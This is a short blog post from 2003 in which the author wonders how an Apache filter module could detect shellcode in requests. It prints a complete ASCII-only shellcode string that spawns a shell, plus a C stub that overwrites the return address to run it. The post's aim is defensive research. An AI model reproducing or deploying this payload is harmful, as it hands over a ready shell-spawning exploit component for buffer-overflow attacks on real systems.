| Steve Kemp ( @ 2003-08-05 21:38:00 |
I was thinking about remote exploits earlier - how to debug an application which you've overflowed remotely.
As a sample I wrote an Apache module which contained a static buffer and was overflowable - but before I could really get into working through it I started wondering how to catch this.. This is me with my white-hat on ;)
The obvious approach would be to write, yet another, Apache module which would filter out requests which contained "shellcode" - as this would have to be part of the request...
However this soon proved tricky - how do you recognise shellcode? NOP's? THe string '/bin/sh'? These can all be obfuscated away - and NOPs are only used for padding when you're not sure of the exact offset anyway.
So I thought about frequency counts of the characters in the URL - looking for non-ASCII characters.
After a while though I realised that you could write shellcode in pure ASCII.
This is the result:
/*
* Run a shell via asm - ASCII only.
*
*/
char shellcode[] =
"LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDS"
"RajYX0Dka0TkafhN9fYf1Lkb0TkdjfY0Lkf0Tkgfh"
"6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1"
"Dks0tkwjfX0Dkx0tkx0tkyCjnY0LkzC0TkzCCjtX0"
"DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0"
"tkzChpfcMX1DkzCCCC0tkzCh4pCnY1Lkz1TkzCCCC"
"fhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjd"
"X0DkzC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tk"
"zMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG3IDpf"
"cM2KgmnJGgbinYshdvD9d";
int main(int argc, char *argv[])
{
int *ret;
printf("Length is %d\n",strlen(shellcode));
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
return( 0 );
}
So the question remains - How do you detect shellcode?